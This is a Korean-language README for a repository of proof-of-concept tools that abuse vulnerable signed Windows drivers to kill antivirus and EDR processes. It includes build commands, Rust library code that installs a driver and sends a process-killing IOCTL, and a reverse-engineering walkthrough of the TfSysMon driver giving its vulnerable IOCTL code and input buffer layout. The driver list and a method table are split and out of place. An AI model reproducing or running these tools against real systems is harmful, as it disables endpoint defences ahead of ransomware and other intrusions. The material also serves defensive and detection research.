
BYOVD research use cases featuring vulnerable driver discovery and reverse engineering methodology. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).
BYOVD는 취약한 드라이버를 악용하여 AV/EDR 솔루션을 비활성화하는 방법을 보여주는 PoC 모음입니다.
이 컬렉션은 문서화되지 않은 드라이버와 LOLDDrivers 또는 Microsoft의 권장 드라이버 차단 규칙에 이미 포함된 드라이버를 모두 포함합니다.
처음 발견된 이후, TfSysMon 드라이버는 LOLDrivers에 추가되었으며, Sophos와 ESET의 보고에 따르면 EDRKillShifter 도구를 사용하는 랜섬웨어 그룹에 의해 악용되었습니다.
BYOVD 기법은 최근 공격적 보안 분야에서 인기를 얻고 있으며, 특히 SpyBoy의 Terminator ($3,000에 판매) 및 ZeroMemoryEx Blackout 프로젝트와 같은 도구의 출시와 함께 주목받고 있습니다. 이러한 도구는 취약한 드라이버를 활용하여 AV/EDR 에이전트를 비활성화하고, 탐지를 줄여 추가 공격을 용이하게 합니다.
이 저장소에는 교육 목적으로 개발된 여러 PoC가 포함되어 있으며, 연구자들이 이러한 드라이버가 프로세스를 종료하는 데 어떻게 악용될 수 있는지 이해하는 데 도움을 줍니다.
프로젝트는 Rust Cargo 워크스페이스로 구성되어 있습니다. 대부분의 PoC는 공통 라이브러리(byovd-lib)를 공유하며, 이 라이브러리는 드라이버 서비스 생명주기, IOCTL 디스패치, 프로세스 모니터링, 권한 조정 및 정리와 같은 기본 작업을 처리합니다. 각 킬러는 드라이버별 구성만 정의하는 얇은 바이너리(~50-100줄)입니다. K7Terminator, Astra64-RW, Xhunter1-Killer는 독립형입니다 — 자체 [workspace] 선언이 있으며, 루트 워크스페이스가 아닌 자체 디렉토리에서 직접 빌드됩니다.```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-RW/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM)
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
각 `*-Killer/` 디렉토리에는 자체 `Cargo.toml`, `src/main.rs` (the `DriverConfig` impl + CLI), `README.md` (드라이버 해시 + 사용법), 그리고 바이너리가 런타임에 로드하는 해당 `.sys` 파일이 포함되어 있습니다.
## 🔧 빌드
**전제 조건:** Rust toolchain and Visual Studio Build Tools with the Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
바이너리는 target/release/에 출력됩니다. 실행 전에 해당 .sys 드라이버 파일을 실행 파일과 동일한 디렉토리에 복사하세요.
byovd-lib는 모든 PoC(K7Terminator 제외)가 기반으로 하는 공유 라이브러리입니다. 이는 두 가지 상호 보완적인 API를 노출합니다. 표준적인 "드라이버 설치, 즉시 종료, 정리" 흐름을 위한 고수준 선언형 API와 사용자 정의 흐름(이미 로드된 드라이버에 연결, 여러 PID로 분산, 구조화된 IOCTL 버퍼, 사용자 정의 재시도 로직 등)이 필요한 킬러를 위한 저수준 명령형 API입니다. 둘은 동일한 바이너리에서 혼합될 수 있습니다.
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### High-level API: `DriverConfig` trait + `run()`
이것은 번들된 킬러들이 사용하는 것입니다. 트레이트를 구현하고 `byovd_lib::run()`을 호출하면 끝입니다.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}
fn main() -> Result<()> {
let cli = Cli::parse();
byovd_lib::run(&MyDriver, &cli.process_name, None)
}
run()은 다음을 수행합니다: preflight_check → 서비스 설치 (SERVICE_DEMAND_START) → StartService → 발견 즉시 종료 모니터 (종료하려면 Ctrl+C) → 서비스 중지 및 삭제.
선택적 트레이트 오버라이드와 기본값:
트레이트 흐름이 적합하지 않은 경우(예: 드라이버가 이미 로드되어 하나의 IOCTL만 실행하려는 경우, 사용자 정의 재시도 정책이 필요한 경우, IOCTL이 단순한 PID 대신 구조화된 입력을 받는 경우, 또는 일치하는 모든 PID에 걸쳐 분산 실행하려는 경우) 하위 수준 구성 요소를 직접 구성하십시오.
드라이버 수명 주기 -- ByovdDriver:```rust
use byovd_lib::ByovdDriver;
let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;
**IOCTL 디스패치** -- `DeviceHandle`은 다섯 가지 형식화된 형태를 제공합니다:
| 메서드 | 사용 시기 |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | 입력 및 출력 버퍼 모두, 별도의 타입 |
| `ioctl_inout<T>(code, &mut data)` | 입력 + 출력에 동일한 버퍼 사용 |
| `ioctl_in<I>(code, &input)` | 입력만, 출력 버퍼 없음 |
| `ioctl_in_unchecked<I>(code, &input)` | 입력만, 실패 무시 (호출별 `ignore_ioctl_error` 대안) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | 원시 포인터 이스케이프 해치 |
형식화된 형태는 IOCTL이 구조체를 사용할 때 (예: `{ pid: u32, padding: [u8; 20] }`) 수동 `to_ne_bytes()` / `extend_from_slice()` 보일러플레이트를 제거합니다.
**프로세스 조회** -- `find_pid_by_name(name)` (첫 번째 일치) 및 `find_all_pids_by_name(name)` (모든 일치, 시스템 PID ≤ 4 제외).
**사용자 정의 모니터 루프** -- `run_monitor_loop(name, interval, |pid| ...)`는 클로저를 받아 일치할 때마다 원하는 작업을 수행할 수 있습니다 (여러 IOCTL, 구조화된 로깅, PID 간 팬아웃, 오류 시 재시도).
**권한** -- 명시적 토큰 권한이 필요한 드라이버를 위한 `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")`. 프로세스가 `S-1-5-18`로 실행되지 않으면 `ensure_running_as_local_system()`이 오류를 반환합니다.
**핸들 래퍼** -- `WinHandle` (자동 `CloseHandle`) 및 `ScHandle` (자동 `CloseServiceHandle`)은 `Send + Sync`이며 스레드 간에 이동할 수 있습니다.
### 예제: 이미 로드된 드라이버에 연결, 서비스 수명 주기 없음
`UnknownKiller --attach`가 수행하는 작업입니다. SCM을 완전히 건너뛰고, 장치를 열고 IOCTL을 한 번 실행합니다:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};
fn main() -> Result<()> {
let device = DeviceHandle::open("\\\\.\\eb")?;
let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
device.ioctl_in(0x222024, &pid)?; // typed: just pass &u32
Ok(())
}
FileHandle / ServiceHandle은 여전히 WinHandle / ScHandle로 확인되며, get_pid_by_name은 find_pid_by_name의 별칭으로 유지되므로 해당 이름을 참조하는 이전 코드도 계속 컴파일됩니다.
다음은 이 저장소에서 사용할 수 있는 드라이버와 해당 PoC입니다.
OPSWAT AppRemover의 ardrv.sysEnTech Taiwan(Astra32 / TVicHW)의 astra64.sys -- 독립형 커널 R/W PoCBaidu AntiVirus의 BdApiUtil64.sys (CVE-2024-51324)CnCrypt의 CcProtect.sysGuidance EnCase의 EnPortv.sys이 섹션에서는 TfSysMon 드라이버를 실용적인 예로 사용하여 완전한 A-Z 리버스 엔지니어링 방법론을 보여줍니다. 이 프로세스는 모든 x64 Windows 커널 드라이버 분석에 적용됩니다.
리버스 엔지니어링을 시작하기 전에 드라이버 가져오기를 확인하세요.
기본 프로세스 킬러 드라이버에는 두 가지가 필요합니다:
프로세스에 대한 핸들을 얻는 방법 (예: ZwOpenProcess 또는 NtOpenProcess)
프로세스를 종료하는 방법 (예: ZwTerminateProcess 또는 NtTerminateProcess)
드라이버가 두 함수 유형을 모두 가져오는지 확인하세요. 드라이버의 가져온 함수에 Nt/ZwOpenProcess와 Nt/ZwTerminateProcess가 모두 있으면 잠재적인 프로세스 킬러 드라이버 후보입니다.
이러한 가져오기를 확인한 후에만 IDA Pro에서 상세 리버스 엔지니어링을 진행해야 합니다.
필요한 도구:
모든 Windows 드라이버는 DriverEntry로 시작합니다 - 이 함수를 먼저 찾으세요:
TfSysMon에서 DriverEntry는 다음과 같습니다:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }
**분석 노트:**
- 코드는 BugCheckParameter2 및 BugCheckParameter3을 사용하여 일부 초기화를 수행합니다.
- 실제 드라이버 초기화는 `sub_17484`에서 이루어집니다.
- `sub_17484(DriverObject)` 호출을 따라가면 실제 드라이버 설정이 이루어지는 지점입니다.
### 📍 2단계: 드라이버 초기화 체인 따라가기
**초기화 함수(`sub_17484`)로 이동:**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
// ... initialization code ...
RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
if ( result < 0 )
return result;
qword_1D5D8 = 0;
dword_1D5D0 = 1;
DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
// ... rest of function ...
}
주요 리버스 엔지니어링 발견 사항:
\\Device\\TfSysMon (커널 공간)\\DosDevices\\TfSysMon (사용자 모드에서 \\.\\TfSysMon으로 접근 가능)0x22 = FILE_DEVICE_UNKNOWNsub_17694를 가리킴디스패치 함수(sub_17694)로 이동:```c
__int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx
unsigned int v4; // ebx
if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }
**리버스 엔지니어링 분석:**
- 장치 검증이 먼저 발생합니다 (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction`은 작업 유형을 결정합니다
- **중요**: MajorFunction 값 14(0xE)와 15(0xF)는 `sub_177D8`을 호출합니다
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = IOCTL 처리
- 취약한 코드 경로는: **IOCTL 요청 → sub_177D8**
### 📍 4단계: IOCTL 핸들러 리버스 엔지니어링
**IOCTL 처리 함수(`sub_177D8`)로 이동:**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
// ... variable declarations ...
v7 = *(_DWORD *)(a2 + 24); // Extract IOCTL code
MasterIrp = Irp->AssociatedIrp.MasterIrp; // Input buffer
v9 = *(unsigned int *)(a2 + 16); // InputBufferLength
v10 = *(_DWORD *)(a2 + 8); // OutputBufferLength
if ( v7 > 0xB4A00070 )
{
if ( v7 > 0xB4A000F8 )
{
if ( v7 != -1264582404 )
{
switch ( v7 )
{
// ... various cases ...
case 0xB4A00404: // VULNERABLE IOCTL CODE
if ( (unsigned int)v9 >= 0x18 )
return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
break;
// ... more cases ...
}
}
}
}
// ... rest of function
}
중요 리버스 엔지니어링 발견:
v7 = *(_DWORD *)(a2 + 24)는 IO_STACK_LOCATION에서 IOCTL 코드를 가져옵니다.Irp->AssociatedIrp.MasterIrp는 사용자 데이터를 포함합니다.v9 = *(unsigned int *)(a2 + 16)는 입력 버퍼 크기를 가져옵니다.0xB4A00404는 sub_1837C로 이어집니다.프로세스 종료 함수(sub_1837C)로 이동:```c
__int64 __fastcall sub_1837C(__int64 a1)
{
unsigned int v2; // ebx
void *v3; // rax
unsigned int v4; // edi
NTSTATUS v6; // eax
// ... variable declarations ...
v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }
**기능 분석:**
- **입력 구조**: 드라이버 코드 분석을 통해 PID가 오프셋 +4에 있는 버퍼 레이아웃을 확인했습니다.
- **입력 파싱**: `v3 = *(void **)(a1 + 4)`는 입력 버퍼의 오프셋 +4에서 PID를 추출합니다.
- **프로세스 열기**: 최소 접근 권한(1u = PROCESS_TERMINATE)으로 `ZwOpenProcess`를 호출합니다.
- **보안 검사 없음**: 호출자의 권한이나 대상 프로세스 보호에 대한 검증이 없습니다.
- **프로세스 종료**: `ZwTerminateProcess`를 직접 호출합니다.
- **재시도 로직**: 프로세스 열기와 종료 모두에 대해 여러 번 시도합니다.
- **모든 프로세스**: SYSTEM 계정이 접근 가능한 모든 프로세스를 종료할 수 있습니다.
### 📍 6단계: 완전한 공격 체인 매핑
**완전한 리버스 엔지니어링 흐름:**
1. **진입점**: 사용자가 `\\.\\TfSysMon`에서 `DeviceIoControl`을 호출합니다.
2. **IRP 생성**: I/O 관리자가 MajorFunction = 14인 IRP를 생성합니다.
3. **디스패치**: `sub_17694`가 IOCTL 처리를 위해 `sub_177D8`로 라우팅합니다.
4. **IOCTL 확인**: `sub_177D8`가 IOCTL 코드 `0xB4A00404`와 버퍼 크기 ≥ 24바이트를 검증합니다.
5. **실행**: 사용자 입력 버퍼를 사용하여 `sub_1837C`를 호출합니다.
6. **종료**: `sub_1837C`가 오프셋 +4에서 PID를 추출하고 `ZwTerminateProcess`를 통해 프로세스를 종료합니다.
**입력 버퍼 구조 (드라이버 리버스 엔지니어링으로 확인):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check
이 방법론은 사용자 모드 통신부터 위험한 커널 작업까지의 실행 경로를 따라 Windows x64 커널 드라이버를 체계적으로 리버스 엔지니어링하여 유사한 취약점을 식별하는 방법을 설명합니다.
BYOVD가 귀하의 레드 팀 운영에 도움이 되었다면, 저에게 맥주 한 잔을 사주세요:
BYOVD 프로젝트는 교육 및 연구 목적으로만 사용됩니다. 저자는 이러한 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 모든 시스템에서 이 도구를 사용하기 전에 항상 명시적 허가를 받으십시오.
| 메서드 | 기본값 | 목적 |
|---|
device_access() | SERVICE_ALL_ACCESS | CreateFileW 액세스 플래그 |
skip_unload() | false | 드라이버 정리 건너뛰기 (예: 언로드 시 BSOD 발생하는 드라이버) |
ignore_ioctl_error() | false | IOCTL 실패를 성공으로 처리 (예: NSecKrnl이 성공 시 오류 보고) |
ioctl_output_size() | 0 | 예상 출력 버퍼 크기(바이트) |
preflight_check() | Ok(()) | 실행 전 검증 (예: LocalSystem 확인) |
Fedeen GamesGameDriverX64.sysGolink의 GoFlyDrv.sysHuawei의 HWAudioOs2Ec.sysK7 Computing의 K7RKScan.sys (CVE-2025-52915, CVE-2025-1055) -- 전체 글Kingsoft Corporation의 ksapi64.sys / ksapi64_del.sysHONOR의 MonProcessEX.sysNSEC의 NSecKrnl.sys (ValleyRAT BYOVD 재현)PC Tools의 PCTcore64.sys (CVE-2026-8501)Microsoft의 PoisonX.sys (@j3h4ck 재현)Safetica의 STProcessMonitor.sys (CVE-2025-70795, v11.11.4 및 v11.26.18 지원)ThreatFire System Monitor의 sysmon.sysunknown.sys (드라이버 출처 미정)Tg Soft의 viragt64.sysTopaz Antifraud의 wsftprm.sys (CVE-2023-52271)Wellbia의 레거시 xhunter1.sys (XIGNCODE3, CVE-2026-3609)JiranJikyosoft X-Keeper의 xkpsm.sys